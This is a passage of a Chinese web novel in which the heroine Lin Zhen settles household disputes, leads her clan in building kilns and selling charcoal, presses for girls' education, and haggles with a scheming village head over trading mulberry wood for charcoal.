原来,吴麽麽早年丧夫,膝下只有一女,又还年輕,也是带着女儿嫁人。 可没想到第二任丈夫也是个短命的,自个儿去了不说,还留下个与吴麽麽没半点儿干系的小子来。 吴麽麽的公爹婆母傻眼了,两老也只有这一个儿子,女儿早被打发走了,这下子,是再不敢嫌弃吴麽麽是二嫁,反而死活鬧着要人留下来。 带着女儿又有耋老村长‘劝’着,吴麽麽最终还是选择留了下来。 她拉扯女儿长大后,给女儿找了户人家,遠遠儿地嫁了。 自个儿说要出来寻活计,补贴家里。当时家里两老的已经去世,她那继子又娶了媳妇儿,手里银錢正是不凑手的时候,听了这话,也不想白白养着吴麽麽,便同意了。 “那混账东西,每每便要想法子从吴麽麽手里抠錢使!” 苗娘子落下淚来,瞧着吴麽麽,她仿佛瞧见了自个儿运道不好遇人不淑的另一种日子。 “娘子何须落泪?这么些年,我与他们一家子鬥法,早历练出来了。”吴麽麽还笑着安慰苗娘子,“早些年,我弱他强,可现在,我是伺候走了公爹婆母的,又还占着一个‘孝’字,他等闲是奈何不得我的。” “可不该是这样的啊!真姐儿,不该是这样的啊!”苗娘子还在哭,泪水沾湿了一张帕子,她停不下来。 林真听得心头火起,双手攥拳:食髓吸血犹嫌不足,当真是畜生! 想来,这也是吴麽麽往乡下人家来做事的原因,以为远远儿的避开,教人寻不着便无事。可不曾想,她那继子倒是好本事,寻得到人,还装得人模人样,将他们都欺了去。 林真问:“吴麽麽是甚意思?” 苗娘子一歎:“她只求咱们不要嫌麻煩,不雇她了。说是自个儿能应付,就是损些银钱罷了。” “她那个继子,是不是晓得吴麽麽的女儿嫁在何处?”若不然,吴麽麽占据道德礼法的高点,且人又不软弱,如何会受他辖制? 苗娘子点点头,恨恨道:“是,也不知他是如何打听得的,没过几年安生日子,便教他给寻到了。” “腿脚倒是挺利索的。”林真语气淡淡,“既能吊着他,便先这样稳着罷,来日方长。” 吴麽麽这头的事儿暂且按下,範三哥那头,也赶在春耕之前,了结了。 那日,是範家大伯和他们凹子里的村长领了他来的。 瞧见林家宅子修得这样好,门口守门的、传话的都有,两人心里便发慌。 待进门去,一水儿地青石板,擦洗得亮堂堂,两人更觉无处下脚。心里只有一个念头:難怪这範三,铁了心的要来林家做工。 林真高髻金簪长褙子,端坐上首,整个儿人瞧着就不好惹。 “二位长者,这是何意?我林家已打发范三走了,如何还来纠缠?” 果然不好惹,村长一听林家娘子这语气,便不开口。 范大伯咽了咽口水,将一路翻来覆去背熟的话又过了一遍,才道:“俺,俺是他大伯,家里弟妹不懂事儿,俺已是训了她。这不,俺们带着三娃来,来给您赔罪,求您行行好,还教三娃子来做事,给口饭吃,给条活路罷。” 林真没说话,慢悠悠抿了一口茶,才道:“今儿是他娘生事,明儿是不是又是爹找来?接二连三的,好没意思,我家不缺人使唤,作何要雇这样麻烦的人来做工?” 范大伯一个劲儿摆手:“不,谁都不来的,您放心,俺都骂过他们哩!” 一声不吭的范三哥突然道:“我认干亲落户籍!往后便同家里再无干系,还请娘子再给我一次机会!” 村长在一旁歎息:唉,还是走到这一步了。也罢,大过年的便砸屋子,鬧得整个儿凹子里都不安生。显然是亲人变仇人了,若是再教范三回去,还不晓得要生出多少事端来。 将他留在这里,也好。 想通后,村长这才帮着开口:“这回是范家有错在先,按理说,林娘子只打发人回去,没追究,已是明理。可您是有名儿的良善人,还请您行行好,便认下范三罢。” “您这话说得,倒似是我不想给人活路。”林真不接话。 村长一叹,赶紧道:“您有本事儿,不像我们,只能地里刨食。今朝是我和他大伯,舍了老脸来当说客,也是当个见证。您放心,往后有我和他范家长辈看着,再不会教不相干的人来生事儿。” 范三哥到底还是留在了林家。 他晓得輕重,当下就给林真立下誓来。 “娘子放心,今朝我是再不会回范家凹去了。那日与家里吵闹,寻得也是俺娘不满意年礼的说法,旁的,我是一个字儿都不敢漏的。” 林真冷嗤一声:“你自是不敢,若是漏出风声去,先有麻煩的,是姓范的。自寻麻烦的事儿,你自然不会做。” 范三哥低着头,不言语。 林真道:“成了,此事算是翻篇。至于往后……” 她缓缓道:“有人盯着你,若是不想教人看低了,自家做事要腦子清楚。嘴上说说容易,可实打实地做事,却是不好坚持。” 范三哥自然也晓得,他此番雖说是如愿了,可往后不止这宅子里的人看他会犯嘀咕,外头打量的目光只会更多。 舍了父母兄弟,便是他们有错在先,他也落不得好。 “去做事罢。” 范三哥点点头,出去了。 往后,便只低头做事罢。 家里的事儿暂且理清楚了,林真便去寻林有文。 现今林有文虽还不是族长,可族人已是默认有甚事儿都来寻他。 估计今年祭祖事,便会有族老提出此事儿了。 “族学开办至今,学满三年的蒙童有二十,我林家占十二。这十二人,有当账房的、有去书肆做事的、也有在码头当小管事的……可偏偏,还真没有能继续读书举業的。” 林有文虽觉遗憾,可他自是晓得举業之路有多难,倒也没甚不满意。 倒是现在,族里的年轻人出去做事儿的多了,还带着好些族人能找着活计。 兴旺之象已显,他很满意。 林真不满意,皱眉道:“当真是一个好苗子也找不出来?我现贪心了,若是能出个秀才,便能多个说得上话的人,若是往縣里递状子,也能有个自家人。” 都说窮秀才,窮秀才,可也别当真小看了这秀才功名。 秀才,算是一只脚迈入了士的阶级,往往在士与民之间充当沟通的桥梁,见官不跪,最重要的意义,是可以直接向官这一阶级,陈情。 能获得一个对话的机会,也算是对当地有一定的保护和威慑之力。 别看林真得了縣尊大人赐匾,可她至今,没见过县尊大人。 她有几分名气,可还没有真正的威慑武器。 暗中窥探的人不晓得有多少,弯弯绕绕的阴暗法子也不知在甚时候又冒出来了。 她不想将时间与精力,浪费在这种事上,她需要一把刀。 林氏一族,现今瞧着已算是出挑,林有文这个下任族长是个有腦子的,以他的年岁,应当还能头脑清醒地再奋鬥个十来年。 这十年,应当能积聚更多的力量用以自保。 以姓氏宗族为根,抱团生活,她曾视作桎梏与落后;可现在,她在此处生活越久,见得愈多,便晓得了,这是符合当下时代发展的生活方式。 个人或者一家之力太过渺小,宛若浩瀚海洋中的一叶扁舟。 在这个时代,报团取暖是升斗小民的生存智慧,没甚好鄙夷的。君不见,连朝廷治理地方都要借助宗族之力。 昔日嗤然,今日顿悟,也不算晚,和光同尘,与时舒卷,当如是。 林有文叹气:“去年入学的川小子,倒是极为刻苦,听廖兄说,月考多是他拨得头筹,也算是有些天赋。只是,家贫……比之廖兄当年,更甚。” 果然。 族学之事,林真虽未插手,可她也没全然不管。 林弘川的名儿,她是听过的。 她大嫂刘桂香来家里腌制咸鸭子时,挂在嘴上的就是:“人比人气死人,鑫哥儿家里也送去读书了,平日里甚事儿不干。可那川小子呢?家里精穷!日日还要割草捡柴,可人家回回都是头名儿!读书用的纸笔墨,人都是自个儿挣的!” 第90章 春耕时分, 本是农家最忙碌的时候。 可这日,林有文父子不盯着家里的佃农长工忙春耕,反都聚在林真家, 盯着一黃泥小土包。 林真瞧着土包最顶上留出来的烟孔,从出烟口冒出来的白烟,越来越淡,就着光仔细瞧, 还隐約带着点蓝色, 她点点头道:“可以了, 封窯罢。” 贺景听了,便用黃泥和稻草将出烟口仔细封住,侧边引火添柴的助燃口也一并封闭。 “这样就成了?”林正業忍不住问。 林真道:“木柴少,再等个三五天挖开后, 自然能曉得,这窯燒木炭能不能成。” 林正業还想说话, 可林有文拉了拉他的袖子, 道:“爹, 您别急。成与不成都不碍事儿,真姐儿既曉得燒炭的法子, 多試試总能试出来的。左不过就是些薪柴、黄泥和稻草罢了。” 林真暗自点头:瞧瞧人家这说话藝术。 她适时开口提醒:“有文叔, 这回是试试能不能燒炭, 量少, 用黄泥和稻草就成。可若要大量燒炭,还得正经挖了窯洞来烧, 封窯洞的,也最好用石砖。虽要花去一笔银钱,可能教土窑更严实, 石砖也能反复使。” 林有文点头:“这是自然,若是能烧炭,一点子石砖算得了甚?” 瞧着他爹格外热切的眼神,林有文又继续道:“真姐儿,三日后能开窑不?” 林真摇摇头:“早春本不宜烧炭,柴火都晒不透。咱烧这么一点子柴,排水汽和烟气便烧了一整日,再等等罢。焖个五日,教木柴炭化得更透彻些。” “成,都听你的,也不差这一两日的。” 烧炭,这本是林真留给自家的挣钱路。 打从一开始回到棗儿村,瞧见漫山遍野的棗樹后,她想烧炭的心就蠢蠢欲动。 后来晓得家里薪柴不够,还要往山里打柴时,她当时便想烧炭。 可后来,是劳动力不足彻底打消了她的念头,这才转制桑叶豆腐賣方子。 当时,家里只有四口人,不算燕儿,勉勉强强算两个半劳力。 可烧炭,绝不是一项轻省活儿。 要细究起来,反而是一项極其繁重且需要一定技术含量的活儿,其辛苦和難度,贯穿了从备料建窑到木炭出窑的全过程。 满面尘灰烟火色,两鬓苍苍十指黑,香山居士笔下叹惜的賣炭翁,其中的辛酸也只是冰山一角。 就说备料,伐木劈柴,伐木,深山长巨木,可伐之,制炭。 伐木難,运木業难,只得就地建窑烧炭,人便只能守在山里;劈柴,要全部均匀劈成一尺来长的木条儿,才能烧得好炭,賣得好價钱。 单是这一步,便得是壮劳力才能干。 林真制腐竹的时候,已发觉薪柴费钱,可那时,她也不敢说要烧炭。 因着烧炭一旦点火后,便要昼夜不歇有人守着,未封窑时,窑火不能熄灭,且还得保持在一个刚好的状态。 火势弱了,不能充分炭化,便还是生柴;火势过旺,整窑的木柴能有一大半儿都烧成草木灰。 那前期的功夫和汗水,便白废了。 总之,在林真仔细回忆了窑烧木炭的过程后,这项計划便被无限延后。 在她的計划里,得等到她家人手充足、衣食不缺后,她才有功夫去折腾此事。 甚?你说不烧了?可炭,價贵呀! 一秤最贱的杂木炭,冬日卖价約一百文,最便宜的时候,也要八十文。 一秤约莫有十五斤左右,最低得要六文一斤,可一斤木炭才几根?杂木炭又不耐烧,一个多时辰便耗尽了。 尋常烧饭烧水已是一笔巨大的开销,若是还要顾着冬日取暖,这笔买炭钱,可吓人得很。 就林家现在来说,邹娘子在制腐竹的时候,灶里掉下来的碎木炭,她都得忙叨叨地刨到一边儿,用草木灰一盖,等火灭后,再挑捡出来用呢。 吴麽麽也是如此。 开门七件事,柴排第一位,是凭(费钱)实力的。 是以,也不怪林有文父子如此激动,要是能教林氏一族习得烧炭之法,不说拿出一笔银钱来供给族中有天份的后生讀书举业,怕是能教林氏一族,就此发家。 == 五日后,开窑取炭。 这回,是贺景与林有文一道动手。 两人心中急切,动作極快,很快,扒开黄泥稻草后,便里头黑乎乎的木炭随着两人的动作逐渐显出全貌来。 外形完整,是整个儿,且表面呈现出一种深黑色,没有发灰发白。 贺景取了两根在手中,互相轻敲,没有断裂,反发出清脆的‘铛铛’声儿;再用力一掰,端口光滑,内外颜色一致,乌黑发亮,且有似贝壳状的纹路。 林真笑道:“瞧着还成,点燃瞧瞧。” 引燃木炭废了些时间,可越是费时,林真越肯定,这炭,烧成了! 果然,引燃后的木炭几乎无烟,焰火只有开始呈现出橘蓝色,后头几乎是瞧不见明火的,偶尔教风一吹,才会露出红彤彤的炭面。 “成了,成了,天佑林家,天佑我林氏一族啊!”族长语气有些哽咽。 林有文扶着他爹,紧紧盯着炭盆儿里的木炭,热意一点点烧进了他的心:得此物,他的小儿子便能多讀几年书,也能扶持族中有天份者读书举业,如此,林氏一族何愁不兴旺? 五十斤的木柴,出炭十四斤多一点,不到十五斤,将近30%的出炭率,其实就土窑来说,很不错了。 且这一窑用的还是枣木,若是换做优质的硬木,如青冈木那样,出炭率应该能更高。 可惜了,枣儿村没有青冈木。 “族长,这样成色的炭,一秤约莫着能卖二百文。枣木出的木炭,最多也就是这个价了,只能算是赚个辛苦钱。若是换做槠樹,烧出来的炭,火力更猛,也更耐烧,那才能卖上价。” 炭已出炉,自个儿的手藝得到证实,那,便要说正事儿了。 “槠树要往山里走,虽不至于到深山,可也不安生,若想在那处挖窑烧炭,便得唤沈山平父子帮忙。还有,若是想卖价更高,就得制香炭。” 林真瞧着现在的族长,林正业,直言道。 “我先前提的两件事儿,缺一不可。炭已成,族长去尋族老罢,烧炭,最好在夏秋二季,那时候日头足,虽要受些罪,可得炭容易些。时间不多了,您请尽快。” 烧炭成功的喜悦去了大半,林正业皱眉,好半天没说话。 林有文苦笑,不得不出声:“真姐儿,咱既要寻沈猎户家帮忙,自然不会亏待他们,你提的第一条,好说。可这第二条,唉,难啊!” 林真很不客气:“若是容易,我还寻您二位作甚?我自家雇人来不就成了?烧炭的法子、香炭的法子都在我手里。我提的要求就那俩,林氏往后如何,就看您如何选了。” 林正业这时候才开口:“可女娃,是要嫁人的!她们得了制香炭的法子,若是透出去,那这香炭不就不值钱了?那时,还有我林氏甚事儿?” 林真一笑:“制作香炭极为废钱,若我林家的女孩儿能在嫁人后,说动夫家先出恁大一笔钱,那女孩儿定然是个极聪慧的。有这样的女儿,若是好生教导着,如何会做出这样得罪宗族的事儿来? 再说了,香炭制作配比颇为精细,我提前将香粉配好,自然不会教方子全漏出去。您再想想?” “男娃,男娃不成麽?”族长还想挣扎一下。 林真不笑了,哼!族学已然是男娃的天下,怎的,连这点子制炭的路都不想留给女孩儿? “族长,我早说了,不行!” 林真摆摆手,不客气道:“您先回罢,想好了再来寻我。” 林有文怕自家爹与林真起冲突,赶紧扶着人家去了。 林真眯着眼:“啧,族长早些年不这样的啊?怎这回如此固执?唉,还是早些教有文叔接任族长才好。” 她还记得当年,她使了计教她屠户爹大闹族长家。 那时,族长还是很明理的,并未包庇护短。 贺景在一旁收拾土窑和木炭,只淡淡道:“许是利益当前,犹豫了罢。” 林真自也晓得,这些年,族人愈发多,可田地出路却不见多,家家为着一点小事儿便要扯皮。鸡毛蒜皮的事儿牵扯多了,族长也被磨得变了脾气。 “不说了,上好的果木炭,咱今儿炙肉吃罢!”林真兴冲冲道,“先前吃的旋炙猪皮肉便好吃,咱再片些兔肉,捞几只青虾来烤!” 贺景点头,帮着出主意:“嗯,再用乌梅熬草果熟水来吃,解腻消壅隔。” 林真听得眼睛发亮。 “不过,要明日。将平安哄睡后,咱才能偷偷吃呢。” 瞧见林真面上的笑果真消失了,贺景笑出声儿来。 “好啊你,故意的!林弘安那样,都是学了你!”林真牙痒痒。 林弘安小朋友现在会闹着要与大人吃一样的东西了,且必须得教他瞧着,从一个碗里舀出来。 不好糊弄得很! 吴麽麽虽然厨艺不错,可小崽子吃得没滋没味儿的,能好吃? 前些日子林真实在没忍住,在县里吃了裹满了茱萸的烤羊排。 一路吹着风家来,原以为味道散完了,可哪里晓得,教扑进怀里的平安崽子闻见味儿了。 他当即就仰头,小脸严肃,说了他出生至今,最长的一段话来。 “娘,你吃甚了?是自个儿偷偷吃的?这样不好,平安也要吃。” 林真当时,尴尬得脚趾扣地。 瞧着平安崽子肉嘟嘟的小脸,恨不得上手掐两把—— 作者有话说:1 白居易 《卖炭翁》《 》 90-100 第91章 族里如何扯皮林真没管, 只瞧林有文能否壓得住族老。 若是连这时候都搞不定族老,那待到燒炭分钱的时候,财帛在眼前, 心思浮动时,又如何壓制族人? 她送了两斤燒出来的好炭到族长家去后,便躲在屋子里,趁着平安崽子出门玩耍或午觉时, 与家里人轮换着烤肉吃。 换换口味, 祭五脏庙, 对她来说,比去听族老扯皮好得多。 惊蛰,春雷初鸣,气温回暖, 林真换了夹袄,平安崽子也不再圆滚滚, 稍稍减了衣裳。 这时, 林有文终于来尋林真了。 “真姐儿, 你提的第二个条件也谈妥了,今儿在祠堂议事, 你也一道来罢。” 林有文虽瞧着有些疲惫, 可眉目生辉, 目光炯炯。 林真瞧着他, 便曉得事情顺利,虽不想去听一群人扯皮, 可还是点头应了。 哪曉得,事情居然出乎意料的顺利,族老个个儿都不吱声儿了, 连每戶燒炭的壯勞力和制香炭的女孩儿都一并定下来,效率高得林真咋舌。 林真还真挺好奇,散场后悄摸儿去问林有文:“有文叔,您是怎的说服族老的?挺厉害呀。” 林有文叹气,惭愧道:“财帛动人心麽,给族老讲了讲女儿茶,又说了你那香炭方子能保密,没費甚費功夫,便同意了。” 女儿茶? 林真冷嗤一声,罢了,能教族中女孩儿得些实惠便不去计较这些了。 “咱来说说那计工分的事儿。” 集全族之力燒炭,最怕的是吃大锅饭产生的分配不均和勞动惰性,不如一开始便将工种划分好,定下明确的目标来。 目标達成便计分,達不成便扣分,若是能超額完成,便从超額的部分中拿出一部分来奖励超额达标的人。 “譬如伐木,规定每人每天备木材百斤,达成的计一分,达不成的记失一次,且还得教其补上。到了开窯时,按照每人出力多少来分配木炭,多劳多得,若是不明原因的偷懒、怠工,次数多者,便劝退。” 林真,你还是活成了自个儿陌生的样子了。 林真在心里反思一番,可还是说道。 “叔,这事儿,您得上心。不患寡而患不均,若是教族人觉着不公,寒心了,再想将族人聚起来,可就难了。” 林有文一笑:“和无寡,安无倾[1]。真姐儿,我晓得的。磨刀不误砍柴工,在伐木烧炭前,总得将刀磨利索了。” 不愧是上过学堂的,出口成章,行有章法。他想起那日真姐儿私下透出来的意思。 “男子有族学,待咱林氏一族发迹时,为女子请位塾师,不为过罢?” 说不得,真姐儿还真能将族中多年的观念拗过来。 在家里取炭那日,族长的话到底教林真心里不痛快。 是以,等林有文私下来尋林真,问她为何非要女子来合香炭时,林真很不客气道。 “同样是一个爹娘,且女孩儿早慧又柔软,在小子摔泥巴疯耍的时候,同龄的女孩儿多是要帮着家里做活儿的。开慧早,却只能被家里逮着使唤,忒不公平了!同样是讀书,我家燕儿比学堂里的小子们差在何处?” “哼!,早晚,我得再寻一位女塾师来,教咱林家的女孩儿都讀书习字。盼着女儿高嫁,可不就是得先花银钱好生教养女儿,能读会算,又备下丰厚的嫁妆来,才能嫁个好人家。” 林有文教林真一顿抢白,面上讪讪。 他家俩闺女儿,只有大女儿在县里住着的时候上过两年女学堂,自回村后,家里再没提过送女儿上学的事儿。 可他突然想起来,在燕儿去学堂的时候,自家小女儿分明是极羡慕的,还期期艾艾地问起过:“学堂是甚样的?” 他当时是怎回答来着?他忘了。 也就是那时,林有文突然意识到:无形中,他似乎教枣儿村改变了许多。 林有文心中悚然,枯坐许久,遂下定决心,定要拼尽全力支持林真。 他已处在雾中,不能再教这敢于勇往直前的小輩也放弃了。 近日,枣儿村发生了两件大事儿。不,准确地说,是只有聚居在此地的林氏发生了大事。 其一,是林氏的族长,换人了。原先的族长林正業退下,换了他儿子林有文接任。 其二,林家众人不晓得是不是魔怔了,春耕时节,不忙着整田锄草施肥育种,反而去山上挖窯。 村里众人都好奇得很,可那片是林氏占下来的山头,旁人轻易靠近不得。 拐着弯地打听消息罢,可奇得是,便是原先最爱与人说笑的婶子伯娘,这回也是缄口不言。 怪了,怪了,林家出动恁多壯劳力挖窯干啥?烧瓦还是烧砖? 没听说林家甚时候出了这样的能人呀?拼着耽误春耕的风险也要挖窯,定有大事! 可恨打听不出消息来,只能教人心痒痒,忙着春耕呢!还要分出一只眼儿来盯着林家那头瞧。 枣山上的林家人可没心思搭理村人,一心只顾挖窑。 林氏的炭窑是小型的鸡窝窑。 这样的小型窑洞,一次只能烧六百斤木柴,出炭一百五十斤左右。 林真当然也晓得这样很是费时费力,可那种专業的大型马蹄窑,一次填塞木柴,少则千斤多则万斤,年产木炭上万斤的窑。 她,压根儿不会。 那是朝廷的惜薪司里头,世代为匠的专业人才才具备的专业技能。 她一个门外汉,只是依赖于上輩子信息化的时代,仗着信息开放,小小复刻过古法窑烧木炭。 上辈子真的烧出十斤木炭来,就已经教评论区的小天使们夸出花儿来。 至于这辈子,能挖一个可用的小型鸡窝窑来,已经是她帶着林氏的青壮,在枣山上,奋斗了一月有餘才出的成果。 第一窑木炭出窑时,枣山上教林氏的族人围得水泄不通。 林真手心儿里都是汗,轻呼一口气,再开口时就镇定许多。 “将面罩都戴好,炭灰入肺会得息积[2],入窑时,必得戴好面罩。” 面罩是她找黄绣娘特制的,有些像后世的纱布口罩,可更大,能将头脸都包住。 口鼻处用了六层棉纱,眼睛处,用的是半透明的葛纱。进窑的都是年轻力壮的汉子,隔着一层葛布纱,也能瞧清。 光这十个面罩便造价不菲,林真盯着窑洞门:可一定要成啊! 第一个出来的是贺景,他抱着成形的木炭出来的时候,冲着林真点点头。 虽然严严实实戴着面罩,可林真似乎瞧见了贺景眉眼弯弯的模样,她心下一松,面上也帶出笑意来。 “成型木炭一百四十二斤,其餘的碎炭,有十六斤!整整一百五十八斤!” 林有文报出这个数来,满山的林氏族人,沸腾了! “多少?一百六?我这辈子都没见过恁多炭啊!” “天爷啊!这才头回烧炭啊!就出了恁多!” “这才多久,十三日罢,就能赚两贯多钱!难怪真姐儿家有钱,她前世莫不是财神爷跟前的仙子?” 这是脑子清楚的,已然算出了一窑木炭的卖价,还搞上封建迷信了。 …… 等族人尽情议论了好半天,林有文才站出来,大声道。 “好了,好了,各家都留下一位管事儿的,其余都散了。该幹啥还幹啥,地里锄草施肥不能落下,咱庄戶人家,还得从地里找食吃!” 林有文这新鲜出炉的族长还是很有威慑力的,这话不过说了两遍,族人便陆陆续续都散了。 留下的人作甚呢?分炭。 这也是林真与族老商议后定下来的:林氏烧炭,先留够族人所用,其余的,再拿出去卖掉。 至于分给族人的炭,全凭自家做主。 存炭的仓房还没建好,先分到各家手里,教他们自个儿保存;且白干了恁久,总得教族人先尝点甜头,如此,才会更尽心。 果然,按着出工情况分好炭后,还聚在一处的林氏族人,头一句话便是。 “族长,真姐儿,咱甚时候挖第二个炭窑啊?” 林有文瞧林真,其余族人也瞧林真。 “选六位好手与沈猎户父子进山里先选几个能挖窑的地儿来。其余的族兄叔伯,便都留下,咱分成两队,明儿就动工,先将枣山上的另外两口窑挖出来。等咱都是熟手后,再进山挖窑。”林真顽笑道,“山里的都是槠树,能出上好的白炭,可马虎不得!” “成!都听真姐儿的!听你的,能过暖冬,能赚钱!” 林真笑着道:“诸位族兄叔伯都是肯下力气的!这才多久,咱林氏的第一窑木炭就成了,过暖冬、挣大钱,都是诸位自个儿的本事,可不敢邀功。” 这是真话,林氏一族共有三十六户,除了四户家里全是老弱的,各家出工一人,有三十四人。 这么些人,瞧着挺多,可林真防火意识在那儿,准备挖窑时,最先挖的是隔离带和蓄水池,又还要砍树劈柴,这活计,可不轻省。 在林真看来,这第一窑木炭出窑时,怎么着儿,也得夏日里去了。 可不想,才过谷雨,这第一窑木炭就成了,比她预想的,提前了十来日。 且干活儿期间,从未出现过有人偷懒怠工的情况,一个个儿的,恨不得吃睡都在枣山上。 教林真瞧着心里泛酸。 这就是她的族人们,只要有一条路可以活下去,他们便比谁都能忍,都肯干。 牲口还有使性子撩蹄子的时候,可她的族人,却从来没有喊过半句辛苦。 就像现在,一个个儿地都说着:“嗨,我们也只有这一身力气了,还是真姐儿和族长有本事,心里想着族人,带着大家伙一同赚钱咧!” 林真听得心中有愧,赶紧教他们将木炭都运回家去,好生存放着,今儿也好生歇着。 从明日开始,又要起早贪黑,奔波劳累不得歇—— 作者有话说:1 《论语》 2 息积,就是尘肺 查到大明易州山厂,一年产炭高达1740余万斤的时候,见识少的蠢作者都惊呆了[菜狗] 第92章 午间, 白花花日头瞧着就晒人。 若是往年,为着夏日里要多用水,誰不得骂几句‘贼老天, 恁热的天儿要收人啊!’ 可今年,棗儿村的林家人,有一个算一个,瞧着这日头, 只有咧嘴笑的。 “叔, 我再将木材都翻一遍, 晒透了,才能出好炭哩!” 三叔公瞧着日头,叮嘱一句:“戴好草帽,紫苏飲子管够, 可别中了暑气。” “晓得咧!” 那年輕后生大声应到,也没说先飲一碗饮子, 反而极为勤快地去翻检木材去了。 三叔公瞧着棗山上的棗树, 却不像年輕后生那样高兴, 反而有些忧心。 长叹一口气,三叔公的声音几不可闻:“也不晓得族长和真姐儿往青桑村換树种, 如何了。” 不如何! 林真此时瞧着对面青桑村的里正, 耷拉的眼皮也挡不住他眼中的算计。 “劉老要是这样说, 那咱便談不拢了。今朝算是我们白跑一趟, 耽搁您……” “哎呦呦!年轻人性子不要恁急躁,咱慢慢談麽!”里正一边说着, 一边用眼神示意劉元开口当说客。 “您不用说!谈,也得有个谈的态度。就没有您这样做事儿的!百斤木材換五十斤炭?”林真出声打断,語气里滿是嘲讽, “您不若出门去抢好了。” 劉元原也没想张口,此刻见屋子里气氛紧绷,更是不願开口,缩在一边装鹌鹑。 林真的话很不客气,里正的面色冷下来,他转过头去,直勾勾盯着林有文。 “怎的,你林氏现今是这女娃子,当家做主了?” 林有文放下茶盞,一笑:“是,我林氏懂礼數明是非。这燒炭一事,是真姐儿一手促成的,自然由她说了算。” “您也不用在此处挑拨离间。咱林家的族长,是难得的明白人,可不是您这三言两語就能煽动的。”林真起身,直接道。 “族长,咱走罷。養蚕缫丝的又不止青桑村一处。木炭好运,咱往远处多多打听便是,很不必在此处浪费时间。” 林有文迅速起身,两人当即出门去,行动很是果决,显然是片刻也不想留。 青桑村的里正没拉下脸来拦住两人,只端坐原地,面色阴沉。 劉元瞧着不对劲儿,赶紧趁着没人注意他,贴着墙边儿溜走了。 人一走,立在一旁的中年男人再也忍不住,埋怨道:“您这是作甚?寻上门的好事儿都教您推出门去!” 男人是里正的大儿子,他实在不明白,換桑树苗子一口拒了便罷,可用桑木換木炭。 天大的好事儿,他爹怎还不同意。 十换一,已然是他们占便宜了。他爹不仅不同意,居然还说出对半换的话来,这怎么敢的?不是存心刁难人麽? “你懂甚?那林家要的木材得是有年头的好木,且全都得劈好了!这不是教咱白做工麽?我多换一点怎的了?”里正呵斥道,“你老子还没死呢!用不着你教老子做事!” 男人一脸嘲讽:“担去县里的薪柴都得拾掇好才能换钱!且桑木不经燒!价贱不说,还不好卖!我是不敢教您做事儿,可您糊涂了,还不能提醒您一句?若是林家放出话去,村人能排着队的去林家换木炭!教人晓得您拦着,咱家这名声,还要不要了!” “忤逆子!咳咳……”里正暴怒,抄起手边的茶盞就向自己儿子砸去! “你懂个屁!现枣儿村的里正不是林家人,我去寻里正说说……” “说甚?”男人教砸得一身茶水,不禁喊道,“里正三年一换!林家甲首多,不定甚时候又是林家人当里正了!且人家还办族学请大夫!枣儿村的村人对其多有赞誉不说,听闻那林家娘子,与县里的杨典史颇为交好!誰人会听您的?咱村里的人都不见得听您的,您还想教枣儿村的村人听您的?” …… 屋子里的争执声儿愈发大,摸出去的刘元依稀听得几句。不过他没仔细听,也不关心,他急着去寻林真。 “真姐儿,与青桑里正谈崩了,咱接下来去何处寻桑树?还是说,去寻泡桐?”林有文问道。 “泡桐虽也成材快,可拿来燒炭倒是不大适宜。”林真瞧着青桑村随处可见的桑树,笑了笑,“您不用忧心,里正贪,不乐意换,可若是咱将消息漏出去,有得是人来换。且我听闻,桑青村人,对这位里正,不大滿意呢。” 林有文一挑眉,笑了。 若村人本就心存怨怼,这时候再挑明他们林氏願意以木炭换木材,可缺被里正阻拦之事。 青桑里正这位子,怕是坐不安生了。 “真姐儿,真姐儿。”刘元出门后,直奔倆人而来。 林真停下脚步,歉疚道:“弄成这样,教姑父为难了。” “这有甚?”刘元一挥手,满不在乎。 青桑村養蚕缫丝纺纱,这东西多得是商人来收,与里正干系可不大。 且他家田地多人也多,可不怕里正。又因着前两年香莲挖魚塘,弄那甚桑田魚塘之事,县里的陂官与他家很有几分交情,更不必怕里正了。 “天儿这样热,你且随我回家去吃盏饮子消消暑气,可别顶着日头家去。你姑想你得很,已在家里烧火揉面,若是教她晓得我放你走了,我回去,可讨不着好。”刘元诚心要留人,林真不好拉,一把拉着林有文往家里扯。 “走走走,到我家去,家里湃着豆儿水,此时吃着,正正好!” 林真哭笑不得,忙劝道:“姑父,晓得了,晓得了。您别急,我家骡车还在你家里呢!定是要去叨扰的。” “哎呦!”刘元一拍脑袋,“倒是忘了这茬了。” 倆人到刘元家里时,先去与刘元父母见礼,转而才去刘元那头。 刘家分家不分户,平日里都不在一个灶台上烧饭吃,可上人家里来,怎么着儿也得先与长辈见礼。 刘父刘母对林真和林有文很是客气,一个是自家发达的亲戚,一个是林氏族长,这可不好得罪了。 语气和气得不得了,还唤了刘元,从这头拿了果子去好生招待客人。 几人从堂屋出来,刘元等不及,直直问道:“真姐儿,林族长,先前您二位在里正那头,说用十斤桑木,换一斤木炭之事,可还作數?” 林真瞧他姑父一脸急切的模样,再偏头瞧了一眼,听了刘元的话,都抻着脖子向这头望的刘家人。 笑了笑:“自然是算数的,可青桑里正不同意。这事儿还有得拉扯,急不得。姑父,咱先不说了,先去瞧瞧我姑罢。” “是了是了,是我考虑不周。折腾了恁久,定是又渴又累,咱先吃饭啊,边吃边说。” 不是,你们怎就不说了? 这是其余刘家人共同的心声。 刘元大嫂更是直接,她伸手去撞自家男人:“他爹,你待会儿可得去寻老三好生打听。木柴换炭,这样的好事不能全教老三一家占去了罢?咱这头便罢了,爹娘那头,冬日可少不得炭!你可得盯着点!” 刘家大哥闷声不语,只点点头。心里好生羡慕,小舅子家发达了,且还不忘拉扯老三一家。这运气,可真够好的! 刘家人心思浮动,可刘元屋子这头,气氛却很是热闹。 林真在她姑这头,吃冷淘吃得正欢。 酸笋炒肉制成的臊子,她又往里头加了满满一勺子油泼茱萸,一勺香醋,酸酸辣辣;再来一碗清甜凉爽的豆儿水。 “嘶,痛快!”林真放下碗,冲她姑撒娇,“姑,我再吃一小碗。你不晓得,家里现教平安盯得紧,这辣口的吃食,我是许久没吃了!还有豆儿水,家里现在都是喝温的!” 平安崽子,现不仅会盯着舀同一个碗里的东西,还会用手摸茶盏子! 往豆儿水里加碎冰,已教小崽子识破了;林真前儿实在热得慌,偷偷在井里湃了豆儿水,可哪晓得,还是教平安崽子摸着碗沿,一脸谴责地道。 “娘,你的,冰冰。” “这崽子究竟是随了谁啊!”这是林真当时的念头,此时也冲着她姑抱怨道,“咱家,就数他较真儿!” “嚇!怎的说话的?平安这是聪慧又细心!小小年纪已如此伶俐,是个读书的料子,将来送去读书,一准儿能成!” 刚还一脸慈爱的林香莲,这时候却换了一副面孔。 林真绝望了,瞧瞧,瞧瞧! 家里人,现除了贺景还会站她这头,其余的,心全偏了! “咱还是说说桑木换木炭的事儿罢。”林真木着脸道。 